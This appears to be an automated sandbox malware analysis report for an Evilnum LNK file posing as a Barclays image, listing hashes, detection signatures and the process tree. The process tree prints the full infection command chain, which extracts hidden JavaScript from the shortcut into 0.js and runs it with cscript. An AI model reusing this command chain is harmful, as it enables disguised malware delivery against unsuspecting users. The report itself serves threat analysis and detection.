Analysis

  • max time kernel
    148s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    04-02-2022 08:39

General

  • Target

    18558a236e6dc15447c4683d38d4cd5c65331f2469b95b65342a1dcc5e4999fe.lnk

  • Size

    95KB

  • MD5

    48e90ca0f344e1a0445936f2d28ae01f

  • SHA1

    ee050a767eaa5227ed40d7a77b7746aea0554ae5

  • SHA256

    18558a236e6dc15447c4683d38d4cd5c65331f2469b95b65342a1dcc5e4999fe

  • SHA512

    2dc34d7e2afb5571bb473c6598315097298b53674321be629443f51c2b0b3dbecfe4b6bfe010801dc36f8e146fed2fd440ee67538bedf4fb0c44fd109d0dc0dc

Score
10/10

Malware Config

Signatures

  • Evilnum

    A malware family with multiple components distributed through LNK files.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\18558a236e6dc15447c4683d38d4cd5c65331f2469b95b65342a1dcc5e4999fe.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1112
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Barclays Utility.jpg*lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Barc*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "RDE3">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cScrIPt "C:\Users\Admin\AppData\Local\Temp\0.js"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1692
      • C:\Windows\system32\forfiles.exe
        forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Barc*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
        3⤵
          PID:1688
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
          3⤵
            PID:1644
          • C:\Windows\system32\find.exe
            find "RDE3"
            3⤵
              PID:1536
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" rd a"
              3⤵
                PID:944
              • C:\Windows\system32\cscript.exe
                cScrIPt "C:\Users\Admin\AppData\Local\Temp\0.js"
                3⤵
                  PID:948

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • memory/1112-54-0x000007FEFB771000-0x000007FEFB773000-memory.dmp

              Filesize

              8KB